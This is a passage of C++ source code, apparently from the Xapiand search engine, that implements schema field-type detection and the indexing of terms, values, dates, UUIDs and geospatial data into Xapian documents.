RESERVED_TYPE mut_properties[RESERVED_TYPE] = _get_str_type(specification.sep_types); // L_DEBUG("\nspecification = {}\nmut_properties = {}", specification.to_string(4), mut_properties.to_string(true)); } void Schema::guess_field_type(const MsgPack& item_doc) { L_CALL("Schema::guess_field_type({})", repr(item_doc.to_string())); switch (item_doc.get_type()) { case MsgPack::Type::POSITIVE_INTEGER: if (specification.flags.numeric_detection) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::positive; return; } break; case MsgPack::Type::NEGATIVE_INTEGER: if (specification.flags.numeric_detection) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::integer; return; } break; case MsgPack::Type::FLOAT: if (specification.flags.numeric_detection) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::floating; return; } break; case MsgPack::Type::BOOLEAN: if (specification.flags.bool_detection) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::boolean; return; } break; case MsgPack::Type::STR: { const auto str_value = item_doc.str_view(); if (specification.flags.uuid_detection && Serialise::isUUID(str_value)) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::uuid; return; } if (specification.flags.date_detection && Datetime::isDate(str_value)) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::date; return; } if (specification.flags.datetime_detection && Datetime::isDatetime(str_value)) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::datetime; return; } if (specification.flags.time_detection && Datetime::isTime(str_value)) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::time; return; } if (specification.flags.timedelta_detection && Datetime::isTimedelta(str_value)) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::timedelta; return; } if (specification.flags.geo_detection && EWKT::isEWKT(str_value)) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::geo; return; } if (specification.flags.bool_detection) { if (str_value == "true" || str_value == "false") { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::boolean; return; } } if (specification.flags.text_detection && !specification.flags.bool_term) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::text; return; } specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::keyword; return; } case MsgPack::Type::MAP: if (item_doc.size() == 1) { auto item = item_doc.begin(); if (item->is_string()) { specification.sep_types[SPC_CONCRETE_TYPE] = Cast::get_field_type(item->str()); return; } } THROW(ClientError, "'{}' cannot be a nested object", RESERVED_VALUE); case MsgPack::Type::ARRAY: THROW(ClientError, "'{}' cannot be a nested array", RESERVED_VALUE); default: break; } THROW(ClientError, "'{}': {} is ambiguous", RESERVED_VALUE, repr(item_doc.to_string())); } void Schema::index_item(Xapian::Document& doc, const MsgPack& value, MsgPack& data, size_t pos, bool add_value) { L_CALL("Schema::index_item(<doc>, {}, {}, {}, {})", repr(value.to_string()), repr(data.to_string()), pos, add_value); L_SCHEMA("Final Specification: {}", specification.to_string(4)); _index_item(doc, std::array<std::reference_wrapper<const MsgPack>, 1>({{ value }}), pos); if (specification.flags.store && add_value) { // Add value to data. auto& data_value = data[RESERVED_VALUE]; if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::uuid) { switch (data_value.get_type()) { case MsgPack::Type::UNDEFINED: data_value = normalize_uuid(value); break; case MsgPack::Type::ARRAY: data_value.push_back(normalize_uuid(value)); break; default: data_value = MsgPack({ data_value, normalize_uuid(value) }); break; } } else if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::date || specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::datetime) { switch (data_value.get_type()) { case MsgPack::Type::UNDEFINED: data_value = Datetime::iso8601(Datetime::DatetimeParser(value)); break; case MsgPack::Type::ARRAY: data_value.push_back(Datetime::iso8601(Datetime::DatetimeParser(value))); break; default: data_value = MsgPack({ data_value, Datetime::iso8601(Datetime::DatetimeParser(value)) }); break; } } else { switch (data_value.get_type()) { case MsgPack::Type::UNDEFINED: data_value = value; break; case MsgPack::Type::ARRAY: data_value.push_back(value); break; default: data_value = MsgPack({ data_value, value }); break; } } } } void Schema::index_item(Xapian::Document& doc, const MsgPack& values, MsgPack& data, bool add_values) { L_CALL("Schema::index_item(<doc>, {}, {}, {})", repr(values.to_string()), repr(data.to_string()), add_values); if (values.is_array()) { set_type_to_array(); _index_item(doc, values, 0); if (specification.flags.store && add_values) { // Add value to data. auto& data_value = data[RESERVED_VALUE]; if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::uuid) { switch (data_value.get_type()) { case MsgPack::Type::UNDEFINED: data_value = MsgPack::ARRAY(); for (const auto& value : values) { data_value.push_back(normalize_uuid(value)); } break; case MsgPack::Type::ARRAY: for (const auto& value : values) { data_value.push_back(normalize_uuid(value)); } break; default: data_value = MsgPack({ data_value }); for (const auto& value : values) { data_value.push_back(normalize_uuid(value)); } break; } } else if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::date || specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::datetime) { switch (data_value.get_type()) { case MsgPack::Type::UNDEFINED: for (const auto& value : values) { data_value.push_back(Datetime::iso8601(Datetime::DatetimeParser(value))); } break; case MsgPack::Type::ARRAY: for (const auto& value : values) { data_value.push_back(Datetime::iso8601(Datetime::DatetimeParser(value))); } break; default: for (const auto& value : values) { data_value.push_back(MsgPack({ data_value, Datetime::iso8601(Datetime::DatetimeParser(value)) })); } break; } } else { switch (data_value.get_type()) { case MsgPack::Type::UNDEFINED: data_value = values; break; case MsgPack::Type::ARRAY: for (const auto& value : values) { data_value.push_back(value); } break; default: data_value = MsgPack({ data_value }); for (const auto& value : values) { data_value.push_back(value); } break; } } } } else { index_item(doc, values, data, 0, add_values); } } void Schema::index_partial_paths(Xapian::Document& doc) { L_CALL("Schema::index_partial_paths(<Xapian::Document>)"); if (specification.flags.partial_paths) { if (toUType(specification.index & TypeIndex::FIELD_TERMS) != 0u) { if (specification.partial_prefixes.size() > 2) { const auto paths = get_partial_paths(specification.partial_prefixes, specification.flags.uuid_path); for (const auto& path : paths) { doc.add_boolean_term(path); } } else { doc.add_boolean_term(specification.prefix.field); } } } } inline void Schema::index_simple_term(Xapian::Document& doc, std::string_view term, const specification_t& field_spc, size_t pos) { L_CALL("Schema::index_simple_term(<doc>, {}, <field_spc>, {})", repr(term), pos); if (term.size() > 245) { if (field_spc.sep_types[SPC_CONCRETE_TYPE] == FieldType::keyword) { THROW(ClientError, "Keyword too long"); } return; } if (term == "QN\x80") { // Term reserved for numeric (autoincremented) IDs return; } const auto weight = field_spc.flags.bool_term ? 0 : field_spc.weight[getPos(pos, field_spc.weight.size())]; const auto position = field_spc.position[getPos(pos, field_spc.position.size())]; if (position != 0u) { doc.add_posting(std::string(term), position, weight); } else { doc.add_term(std::string(term), weight); } L_INDEX("Field Term [{}] -> {} Bool: {} Posting: {}", pos, repr(term), field_spc.flags.bool_term, position); } template <typename T> inline void Schema::_index_item(Xapian::Document& doc, T&& values, size_t pos) { L_CALL("Schema::_index_item(<doc>, <values>, {})", pos); switch (specification.index) { case TypeIndex::INVALID: case TypeIndex::NONE: return; case TypeIndex::FIELD_TERMS: { for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_term(doc, Serialise::MsgPack(specification, value), specification, pos++); } } break; } case TypeIndex::FIELD_VALUES: { auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, specification, pos++); } } break; } case TypeIndex::FIELD_ALL: { auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, specification, pos++, &specification); } } break; } case TypeIndex::GLOBAL_TERMS: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_term(doc, Serialise::MsgPack(global_spc, value), global_spc, pos++); } } break; } case TypeIndex::TERMS: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_all_term(doc, value, specification, global_spc, pos++); } } break; } case TypeIndex::GLOBAL_TERMS_FIELD_VALUES: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, specification, pos++, nullptr, &global_spc); } } break; } case TypeIndex::GLOBAL_TERMS_FIELD_ALL: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, specification, pos++, &specification, &global_spc); } } break; } case TypeIndex::GLOBAL_VALUES: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_g, global_spc, pos++); } } break; } case TypeIndex::GLOBAL_VALUES_FIELD_TERMS: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_g, global_spc, pos++, &specification); } } break; } case TypeIndex::VALUES: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_all_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, s_g, specification, global_spc, pos++); } } break; } case TypeIndex::GLOBAL_VALUES_FIELD_ALL: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_all_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, s_g, specification, global_spc, pos++); } } break; } case TypeIndex::GLOBAL_ALL: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_g, global_spc, pos++, nullptr, &global_spc); } } break; } case TypeIndex::GLOBAL_ALL_FIELD_TERMS: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_value(doc, value.is_map() ? Cast::cast(value) : value, s_g, global_spc, pos++, &specification, &global_spc); } } break; } case TypeIndex::GLOBAL_ALL_FIELD_VALUES: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_g = map_values[global_spc.slot]; auto& s_f = map_values[specification.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { pos++; /* do nothing else (don't index any terms) */ } else { index_all_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, s_g, specification, global_spc, pos++); } } break; } case TypeIndex::ALL: { const auto& global_spc = specification_t::get_global(specification.sep_types[SPC_CONCRETE_TYPE]); auto& s_f = map_values[specification.slot]; auto& s_g = map_values[global_spc.slot]; for (const MsgPack& value : values) { if (value.is_null() || value.is_undefined()) { index_simple_term(doc, specification.prefix.field, specification, pos++); } else { index_all_value(doc, value.is_map() ? Cast::cast(value) : value, s_f, s_g, specification, global_spc, pos++); } } break; } } } void Schema::index_term(Xapian::Document& doc, std::string serialise_val, const specification_t& field_spc, size_t pos) { L_CALL("Schema::index_term(<Xapian::Document>, {}, <specification_t>, {})", repr(serialise_val), pos); switch (field_spc.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::string: case FieldType::text: { Xapian::TermGenerator term_generator; Xapian::TermGenerator::flags flags = 0; if (field_spc.flags.cjk_ngram) { flags |= Xapian::TermGenerator::FLAG_CJK_NGRAM; } #ifdef USE_ICU if (field_spc.flags.cjk_words) { flags |= Xapian::TermGenerator::FLAG_CJK_WORDS; } #endif term_generator.set_flags(flags); term_generator.set_document(doc); if (!field_spc.language.empty()) { term_generator.set_stopper(getStopper(field_spc.language).get()); term_generator.set_stopper_strategy(getGeneratorStopStrategy(field_spc.stop_strategy)); } if (!field_spc.stem_language.empty()) { term_generator.set_stemmer(Xapian::Stem(field_spc.stem_language)); term_generator.set_stemming_strategy(getGeneratorStemStrategy(field_spc.stem_strategy)); } const bool positions = field_spc.positions[getPos(pos, field_spc.positions.size())]; if (positions) { term_generator.index_text(serialise_val, field_spc.weight[getPos(pos, field_spc.weight.size())], field_spc.prefix.field + field_spc.get_ctype()); } else { term_generator.index_text_without_positions(serialise_val, field_spc.weight[getPos(pos, field_spc.weight.size())], field_spc.prefix.field + field_spc.get_ctype()); } L_INDEX("Field Text to Index [{}] => {}:{} [Positions: {}]", pos, repr(field_spc.prefix.field), serialise_val, positions); break; } case FieldType::keyword: if (!field_spc.flags.bool_term) { strings::inplace_lower(serialise_val); } [[fallthrough]]; default: { serialise_val = prefixed(serialise_val, field_spc.prefix.field, field_spc.get_ctype()); index_simple_term(doc, serialise_val, field_spc, pos); break; } } } void Schema::index_all_term(Xapian::Document& doc, const MsgPack& value, const specification_t& field_spc, const specification_t& global_spc, size_t pos) { L_CALL("Schema::index_all_term(<Xapian::Document>, {}, <specification_t>, <specification_t>, {})", repr(value.to_string()), pos); auto serialise_val = Serialise::MsgPack(field_spc, value); index_term(doc, serialise_val, field_spc, pos); index_term(doc, serialise_val, global_spc, pos); } void Schema::merge_geospatial_values(std::set<std::string>& s, std::vector<range_t> ranges, std::vector<Cartesian> centroids) { L_CALL("Schema::merge_geospatial_values(...)"); if (s.empty()) { s.insert(Serialise::ranges_centroids(ranges, centroids)); } else { auto prev_value = Unserialise::ranges_centroids(*s.begin()); s.clear(); ranges = HTM::range_union(std::move(ranges), std::vector<range_t>(std::make_move_iterator(prev_value.first.begin()), std::make_move_iterator(prev_value.first.end()))); const auto& prev_centroids = prev_value.second; if (!prev_centroids.empty()) { std::vector<Cartesian> missing; auto centroids_begin = centroids.begin(); auto centroids_end = centroids.end(); for (const auto& _centroid : prev_centroids) { if (std::find(centroids_begin, centroids_end, _centroid) == centroids_end) { missing.push_back(_centroid); } } centroids.insert(centroids.end(), missing.begin(), missing.end()); } s.insert(Serialise::ranges_centroids(ranges, centroids)); } } void Schema::index_value(Xapian::Document& doc, const MsgPack& value, std::set<std::string>& s, const specification_t& spc, size_t pos, const specification_t* field_spc, const specification_t* global_spc) { L_CALL("Schema::index_value(<Xapian::Document>, {}, <std::set<std::string>>, <specification_t>, {}, <specification_t*>, <specification_t*>)", repr(value.to_string()), pos); switch (spc.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::floating: { if (value.is_number()) { const auto f_val = value.f64(); auto ser_value = Serialise::floating(f_val); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); GenerateTerms::integer(doc, spc.accuracy, spc.acc_prefix, static_cast<int64_t>(f_val)); return; } else { THROW(ClientError, "Format invalid for float type: {}", repr(value.to_string())); } } case FieldType::integer: { if (value.is_number()) { const auto i_val = value.i64(); auto ser_value = Serialise::integer(i_val); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); GenerateTerms::integer(doc, spc.accuracy, spc.acc_prefix, i_val); return; } else { THROW(ClientError, "Format invalid for integer type: {}", value.to_string()); } } case FieldType::positive: { if (value.is_number()) { const auto u_val = value.u64(); auto ser_value = Serialise::positive(u_val); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); GenerateTerms::positive(doc, spc.accuracy, spc.acc_prefix, u_val); return; } else { THROW(ClientError, "Format invalid for positive type: {}", value.to_string()); } } case FieldType::date: case FieldType::datetime: { Datetime::tm_t tm; auto ser_value = Serialise::datetime(value, tm); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); GenerateTerms::datetime(doc, spc.accuracy, spc.acc_prefix, tm); return; } case FieldType::time: { double t_val = 0.0; auto ser_value = Serialise::time(value, t_val); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); GenerateTerms::integer(doc, spc.accuracy, spc.acc_prefix, t_val); return; } case FieldType::timedelta: { double t_val = 0.0; auto ser_value = Serialise::timedelta(value, t_val); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); GenerateTerms::integer(doc, spc.accuracy, spc.acc_prefix, t_val); return; } case FieldType::geo: { GeoSpatial geo(value); const auto& geometry = geo.getGeometry(); auto ranges = geometry->getRanges(spc.flags.partials, spc.error); if (ranges.empty()) { return; } std::string term; if (field_spc != nullptr) { if (spc.flags.partials == DEFAULT_GEO_PARTIALS && spc.error == DEFAULT_GEO_ERROR) { term = Serialise::ranges_hash(ranges); index_term(doc, term, *field_spc, pos); } else { const auto f_ranges = geometry->getRanges(DEFAULT_GEO_PARTIALS, DEFAULT_GEO_ERROR); term = Serialise::ranges_hash(f_ranges); index_term(doc, term, *field_spc, pos); } } if (global_spc != nullptr) { if (field_spc != nullptr) { index_term(doc, std::move(term), *global_spc, pos); } else { if (spc.flags.partials == DEFAULT_GEO_PARTIALS && spc.error == DEFAULT_GEO_ERROR) { index_term(doc, Serialise::ranges_hash(ranges), *global_spc, pos); } else { const auto g_ranges = geometry->getRanges(DEFAULT_GEO_PARTIALS, DEFAULT_GEO_ERROR); index_term(doc, Serialise::ranges_hash(g_ranges), *global_spc, pos); } } } GenerateTerms::geo(doc, spc.accuracy, spc.acc_prefix, ranges); merge_geospatial_values(s, std::move(ranges), geometry->getCentroids()); return; } case FieldType::keyword: { if (value.is_string()) { auto ser_value = value.str(); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); return; } else { THROW(ClientError, "Format invalid for {} type: {}", enum_name(spc.sep_types[SPC_CONCRETE_TYPE]), repr(value.to_string())); } } case FieldType::string: case FieldType::text: { if (value.is_string()) { auto ser_value = value.str(); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } if (ser_value.size() <= 100) { // For text and string, only add relatively short values s.insert(std::move(ser_value)); } return; } else { THROW(ClientError, "Format invalid for {} type: {}", enum_name(spc.sep_types[SPC_CONCRETE_TYPE]), repr(value.to_string())); } } case FieldType::boolean: { auto ser_value = Serialise::MsgPack(spc, value); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); return; } case FieldType::uuid: { if (value.is_string()) { auto ser_value = Serialise::uuid(value.str_view()); if (field_spc != nullptr) { index_term(doc, ser_value, *field_spc, pos); } if (global_spc != nullptr) { index_term(doc, ser_value, *global_spc, pos); } s.insert(std::move(ser_value)); return; } else { THROW(ClientError, "Format invalid for uuid type: {}", repr(value.to_string())); } } default: THROW(ClientError, "Type: {:#04x} is an unknown type", toUType(spc.sep_types[SPC_CONCRETE_TYPE])); } } void Schema::index_all_value(Xapian::Document& doc, const MsgPack& value, std::set<std::string>& s_f, std::set<std::string>& s_g, const specification_t& field_spc, const specification_t& global_spc, size_t pos) { L_CALL("Schema::index_all_value(<Xapian::Document>, {}, <std::set<std::string>>, <std::set<std::string>>, <specification_t>, <specification_t>, {})", repr(value.to_string()), pos); switch (field_spc.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::floating: { if (value.is_number()) { const auto f_val = value.f64(); auto ser_value = Serialise::floating(f_val); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, static_cast<int64_t>(f_val)); } else { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, static_cast<int64_t>(f_val)); GenerateTerms::integer(doc, global_spc.accuracy, global_spc.acc_prefix, static_cast<int64_t>(f_val)); } return; } else { THROW(ClientError, "Format invalid for float type: {}", repr(value.to_string())); } } case FieldType::integer: { if (value.is_number()) { const auto i_val = value.i64(); auto ser_value = Serialise::integer(i_val); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, i_val); } else { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, i_val); GenerateTerms::integer(doc, global_spc.accuracy, global_spc.acc_prefix, i_val); } return; } else { THROW(ClientError, "Format invalid for integer type: {}", value.to_string()); } } case FieldType::positive: { if (value.is_number()) { const auto u_val = value.u64(); auto ser_value = Serialise::positive(u_val); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::positive(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, u_val); } else { GenerateTerms::positive(doc, field_spc.accuracy, field_spc.acc_prefix, u_val); GenerateTerms::positive(doc, global_spc.accuracy, global_spc.acc_prefix, u_val); } return; } else { THROW(ClientError, "Format invalid for positive type: {}", repr(value.to_string())); } } case FieldType::date: case FieldType::datetime: { Datetime::tm_t tm; auto ser_value = Serialise::datetime(value, tm); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::datetime(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, tm); } else { GenerateTerms::datetime(doc, field_spc.accuracy, field_spc.acc_prefix, tm); GenerateTerms::datetime(doc, global_spc.accuracy, global_spc.acc_prefix, tm); } return; } case FieldType::time: { double t_val = 0.0; auto ser_value = Serialise::time(value, t_val); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, t_val); } else { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, t_val); GenerateTerms::integer(doc, global_spc.accuracy, global_spc.acc_prefix, t_val); } return; } case FieldType::timedelta: { double t_val; auto ser_value = Serialise::timedelta(value, t_val); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, t_val); } else { GenerateTerms::integer(doc, field_spc.accuracy, field_spc.acc_prefix, t_val); GenerateTerms::integer(doc, global_spc.accuracy, global_spc.acc_prefix, t_val); } return; } case FieldType::geo: { GeoSpatial geo(value); const auto& geometry = geo.getGeometry(); auto ranges = geometry->getRanges(field_spc.flags.partials, field_spc.error); if (ranges.empty()) { return; } if (field_spc.flags.partials == global_spc.flags.partials && field_spc.error == global_spc.error) { if (toUType(field_spc.index & TypeIndex::TERMS) != 0u) { auto ser_value = Serialise::ranges_hash(ranges); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, std::move(ser_value), global_spc, pos); } } if (field_spc.accuracy == global_spc.accuracy) { GenerateTerms::geo(doc, field_spc.accuracy, field_spc.acc_prefix, global_spc.acc_prefix, ranges); } else { GenerateTerms::geo(doc, field_spc.accuracy, field_spc.acc_prefix, ranges); GenerateTerms::geo(doc, global_spc.accuracy, global_spc.acc_prefix, ranges); } merge_geospatial_values(s_f, ranges, geometry->getCentroids()); merge_geospatial_values(s_g, std::move(ranges), geometry->getCentroids()); } else { auto g_ranges = geometry->getRanges(global_spc.flags.partials, global_spc.error); if (toUType(field_spc.index & TypeIndex::TERMS) != 0u) { const auto ser_value = Serialise::ranges_hash(g_ranges); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, std::move(ser_value), global_spc, pos); } } GenerateTerms::geo(doc, field_spc.accuracy, field_spc.acc_prefix, ranges); GenerateTerms::geo(doc, global_spc.accuracy, global_spc.acc_prefix, g_ranges); merge_geospatial_values(s_f, std::move(ranges), geometry->getCentroids()); merge_geospatial_values(s_g, std::move(g_ranges), geometry->getCentroids()); } return; } case FieldType::keyword: { if (value.is_string()) { auto ser_value = value.str(); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); return; } else { THROW(ClientError, "Format invalid for {} type: {}", enum_name(field_spc.sep_types[SPC_CONCRETE_TYPE]), repr(value.to_string())); } } case FieldType::string: case FieldType::text: { if (value.is_string()) { auto ser_value = value.str(); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } if (ser_value.size() <= 100) { // For text and string, only add relatively short values s_f.insert(ser_value); s_g.insert(std::move(ser_value)); } return; } else { THROW(ClientError, "Format invalid for {} type: {}", enum_name(field_spc.sep_types[SPC_CONCRETE_TYPE]), repr(value.to_string())); } } case FieldType::boolean: { auto ser_value = Serialise::MsgPack(field_spc, value); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); return; } case FieldType::uuid: { if (value.is_string()) { auto ser_value = Serialise::uuid(value.str_view()); if (toUType(field_spc.index & TypeIndex::FIELD_TERMS) != 0u) { index_term(doc, ser_value, field_spc, pos); } if (toUType(field_spc.index & TypeIndex::GLOBAL_TERMS) != 0u) { index_term(doc, ser_value, global_spc, pos); } s_f.insert(ser_value); s_g.insert(std::move(ser_value)); return; } else { THROW(ClientError, "Format invalid for uuid type: {}", repr(value.to_string())); } } default: THROW(ClientError, "Type: {:#04x} is an unknown type", toUType(field_spc.sep_types[SPC_CONCRETE_TYPE])); } } inline void Schema::update_prefixes() { L_CALL("Schema::update_prefixes()"); if (specification.flags.uuid_path) { if (specification.flags.uuid_field) { switch (specification.index_uuid_field) { case UUIDFieldIndex::uuid: { specification.flags.has_uuid_prefix = true; specification.prefix.field.append(specification.local_prefix.uuid); if (!specification.prefix.uuid.empty()) { 